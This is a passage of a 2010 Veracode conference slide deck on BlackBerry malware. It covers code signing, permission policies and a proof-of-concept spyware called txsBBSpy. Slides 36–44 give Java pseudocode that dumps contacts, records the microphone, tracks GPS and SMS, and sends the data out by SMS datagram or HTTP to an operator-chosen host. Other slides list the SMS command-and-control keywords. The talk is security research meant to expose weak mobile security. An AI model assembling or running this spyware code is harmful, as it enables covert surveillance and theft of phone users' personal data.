  • 17. 09Droid – Banking Applications Attack – Droid app that masquerades as any number of different target banking applications – Target banks included  Royal Bank of Canada  Chase  BB&T  SunTrust  Over 50 total financial institutions were affected – May steal and exfiltrate banking credentials – Approved and downloaded from Google’s Android Marketplace! – http://www.theinquirer.net/inquirer/news/1585716/fraud-hits-android-apps- market – http://www.pcadvisor.co.uk/news/index.cfm?RSS&NewsID=3209953 – http://www.f-secure.com/weblog/archives/00001852.html © 2010 Veracode, Inc. 17
  • 18. Blackberry Security Mechanisms © 2010 Veracode, Inc. 18
  • 19. Blackberry Takes Security Seriously  KB05499: Protecting the BlackBerry smartphone and BlackBerry Enterprise Server against malware http://www.blackberry.com/btsc/search.do?cmd=displayKC&docTyp e=kc&externalId=KB05499  Protecting the BlackBerry device platform against malware http://docs.blackberry.com/en/admin/deliverables/1835/Protecting the BlackBerry device platform against malware.pdf  Placing the BlackBerry Enterprise Solution in a segmented network http://docs.blackberry.com/en/admin/deliverables/1460/Placing_the_ BlackBerry_Enterprise_Solution_in_a_Segmented_Network.pdf  BlackBerry Enterprise Server Policy Reference Guide http://docs.blackberry.com/en/admin/deliverables/7228/Policy_Refer ence_Guide.pdf © 2010 Veracode, Inc. 19
  • 20. Does It Really Matter?! Only 23% of smartphone owners use the security software installed on the devices. (Source: Trend Micro Inc. survey of 1,016 U.S. smartphone users, June 2009) 13% of organizations currently protect from mobile viruses (Mobile Security 2009 Survey by Goode Intelligence) © 2010 Veracode, Inc. 20
  • 21. Code Signing  Subset of Blackberry API considered “controlled”  Use of controlled package, class, or method requires appropriate code signature  Blackberry Signature Tool comes with the Blackberry JDE  Acquire signing keys by filling out a web form and paying $20 – This not is a high barrier to entry – 48 hours later you receive signing keys  Install keys into signature tool © 2010 Veracode, Inc. 21
  • 22. Code Signing Process  Hash of code sent to RIM for API tracking purposes only  RIM does not get source code  COD file is signed based on required keys  Application ready to be deployed  Easy to acquire anonymous keys © 2010 Veracode, Inc. 22
  • 23. IT Policies  Requires connection to Blackberry Enterprise Server (BES)  Supersedes lower levels of security restrictions  Prevent devices from downloading third-party applications over wireless  Prevent installation of specific third-party applications  Control permissions of third party applications – Allow Internal Connections – Allow Third-Party Apps to Use Serial Port – Allow External Connections  MOSTLY “Default Allow All” policy for BES and non-BES devices © 2010 Veracode, Inc. 23
  • 24. Application Policies  Can be controlled at the BES  If no BES present, controls are set on the handheld itself  Can only be MORE restrictive than the IT policy, never less  Control individual resource access per application  Control individual connection access per application  MOSTLY “Default Allow All” policy for BES and non-BES devices © 2010 Veracode, Inc. 24
  • 25. V4.7.0.148 Default 3rd Party Application Permissions Bluetooth Phone USB Connections Location Data Connections Connections Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Browser Filtering Recording Reset Email Data Organizer Data Files Security Data © 2010 Veracode, Inc. 25
  • 26. V5.0.0.328 Default 3rd Party Application Permissions Bluetooth Phone USB Connections Location Data Connections Connections Server Network Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Display Information Browser Filtering Recording Reset While Locked Email Data Organizer Data Files Security Data © 2010 Veracode, Inc. 26
  • 27. V5.0.0.328 Trusted 3rd Party Application Permissions Bluetooth Phone USB Connections Location Data Connections Connections Server Network Internet IPC Device Settings Application Media Themes Input Simulation Management Security Timer Display Information Browser Filtering Recording Reset While Locked Email Data Organizer Data Files Security Data © 2010 Veracode, Inc. 27
  • 28. Installation Methods © 2010 Veracode, Inc. 28
  • 29. Installation Methods  Accessing a web site using the BlackBerry Browser and choosing to download the application over the network (OTA Installation)  Running the application loader tool of the BlackBerry Desktop Manager and choosing to download the application onto the BlackBerry device using a physical connection to the computer  Blackberry BES push the application to your user community  Get it into the Blackberry App World and let the user choose to install it for you! © 2010 Veracode, Inc. 29
  • 30. Installation Files  .COD files: A COD file is a proprietary file format developed by RIM that contains compiled and packaged application code.  .JAD files: An application descriptor that stores information about the application itself and the location of .COD files  .JAR files: a JAR file (or Java ARchive) is used for aggregating many files into one. It is generally used to distribute Java classes and associated metadata.  .ALX files: Similar to the .JAD file, in that it holds information about where the installation files for the application are located © 2010 Veracode, Inc. 30
  • 31. txsBBSpy Effects and Behaviors © 2010 Veracode, Inc. 31
  • 32. txsBBSpy Logging and Dumping Monitor connected / disconnected calls Monitor PIM added / removed / updated Monitor inbound SMS Monitor outbound SMS Real Time track GPS coordinates Dump all contacts Dump current location Dump phone logs Dump email Dump microphone capture (security prompted) © 2010 Veracode, Inc. 32
  • 33. txsBBSpy Exfiltration and C&C Methods SMS (No CDMA) SMS Datagrams (Supports CDMA) Email HTTP GET HTTP POST TCP Socket UDP Socket Command and control hard coded to inbound SMS © 2010 Veracode, Inc. 33
  • 34. txsBBSpy Technical Specifications © 2010 Veracode, Inc. 34
  • 35. Technical Methods  Data Dumpers  Listeners  Exfiltration Methods  Command and Control © 2010 Veracode, Inc. 35
  • 36. Dump Contact Information  API – javax.microedition.pim – net.rim.blackberry.API.pdap  Pseudocode PIM pim = PIM.getInstance(); BlackBerryPIMList contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); Enumeration eContacts = contacts.items(); Contact contact = (Contact) eContacts.nextElement(); if (contacts.isSupportedField(Contact.EMAIL)) { if (contact.countValues(Contact.EMAIL) > 0) email = contact.getString(Contact.EMAIL, 0); } © 2010 Veracode, Inc. 36
  • 37. Dump Microphone  API – javax.microedition.media.control – javax.microedition.media.manager – javax.microedition.media.player  Pseudocode Player p = Manager.createPlayer("capture://audio"); RecordControl rc = (RecordControl)p.getControl("RecordControl"); ByteArrayOutputStream os = new ByteArrayOutputStream(); rc.setRecordStream(os); rc.startRecord(); © 2010 Veracode, Inc. 37
  • 38. Location Listener  Create the class that implements LocationListener Interface  Get LocationProvider instance  Add LocationListener  API – javax.microedition.location.LocationProvider.getInstance – javax.microedition.location.LocationProvider.setLocationListener  Pseudocode ll = new LocListener(); lp = LocationProvider.getInstance(null); lp.setLocationListener(ll, 1, 1, 1); © 2010 Veracode, Inc. 38
  • 39. SMS Outbound Listener  Create class that implements “SendListener” interface  Add the SendListener  API – net.rim.blackberry.api.sms.SMS – javax.wireless.messaging.TextMessage  Pseudocode sl = new SMSOUTListener(); SMS.addSendListener(sl); © 2010 Veracode, Inc. 39
  • 40. PIM Listener  Create the class that implements PIMListListener Interface  Open Target PIMList and Add PIMListListener  API – javax.microedition.pim.PIM.getInstance() – net.rim.blackberry.api.pdap.BlackBerryPIMList.addListener  Pseudocode pl = new PhoneLogger(); pim = PIM.getInstance(); contacts = (BlackBerryPIMList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_ONLY); contacts.addListener(piml); © 2010 Veracode, Inc. 40
  • 41. SMS Datagram Exfiltration  API – javax.microedition.io.Connector – javax.microedition.io.DatagramConnection – javax.microedition.io.Datagram  Pseudocode DatagramConnection dc = (DatagramConnection)Connector.open("sms://"+this.pnum+":3590 "); Datagram d = dc.newDatagram(dc.getMaximumLength()); byte[] buf = msg.getBytes(); d.setData(buf, 0, buf.length); d.write(buf, 0, buf.length); dc.send(d); © 2010 Veracode, Inc. 41
  • 42. HTTP Get/Post Exfiltration  API – javax.microedition.io.Connector – javax.microedition.io.HttpConnection  Pseudocode c = (HttpConnection)Connector.open("http://"+this.url+"/“+msg); rc = c.getResponseCode(); if (rc != HttpConnection.HTTP_OK) { c.setRequestMethod(HttpConnection.POST); c.setRequestProperty("User-Agent", "BBSpyware|"+msg); c.setRequestProperty("Content-Language", "en-US"); os = c.openOutputStream(); os.write(msg.getBytes()); © 2010 Veracode, Inc. 42
  • 43. Threaded Exfiltration  Listener based exfiltration methods use separate thread  Doesn‟t freeze UI interface  Queues messages outbound if network is slow  ThreadedSend extends Thread class  Uses run() method to call exfiltrate() © 2010 Veracode, Inc. 43
  • 44. Command and Control  initCandC(int a) – Initializes inbound SMS listener if passed a == 1 – Kills spyware otherwise – Listens for commands and acts accordingly TXSDIE TXSPHLON TXSPHLOFF TXSPIMON TXSPIMOFF TXSSLINON TXSSLINOFF TXSSLOUTON TXSSLOUTOFF TXSGLON TXSGLOFF TXSEXFILSMS TXSEXFILSMSDG TXSEXFILEMAIL TXSEXFILGET TXSEXFILPOST TXSEXFILTCP TXSEXFILUDP TXSDUMPCON TXSDUMPGPS TXSDUMPPL TXSDUMPEMAIL TXSDUMPMIC TXSIP:[IP] TXSEM:[EMAIL] TXSPORT[PORT] TXSPHONE:[PN] TXSURL[URL] TXSGTIME:[N] TXSPING © 2010 Veracode, Inc. 44
  • 45. Methods of Detection and Future Work © 2010 Veracode, Inc. 45
  • 46. Methods of Detection  Additional Operating System Prompts – Remove the “Trust Application” prompt requiring individual configuration  Signature Based – This is how the current anti-virus world is failing  Sandbox Based Execution Heuristics – Still requires execution in a sandbox and is reactive – Can‟t ensure complete execution  Static Decompilation and Analysis – Enumeration of sources of sensitive taint and exfiltration sinks – Control/Data flow mapping for tracing sensitive taint from source to sink – Compare findings against expected values © 2010 Veracode, Inc. 46
  • 47. Future Work (Offensive AND Defensive)  Reverse engineer .cod file format  Continued research into unobstructed installation methods (requires exploitation)  Infect PC with virus that acts as distribution hub  Research additional exfiltration methods for tunneling without prompting © 2010 Veracode, Inc. 47
  • 49. Conclusion  Mobile spyware is trivial to write  Minimal methods of real time eradication or detection of spyware type activities  Security model of mobile platforms too loose  No easy/automated way to confirm for ourselves what the applications are actually doing  We are currently trusting the vendor application store provider for the majority of our mobile device security © 2010 Veracode, Inc. 49
  • 50. The Monkey Steals the Berries! Questions? © 2010 Veracode, Inc. 50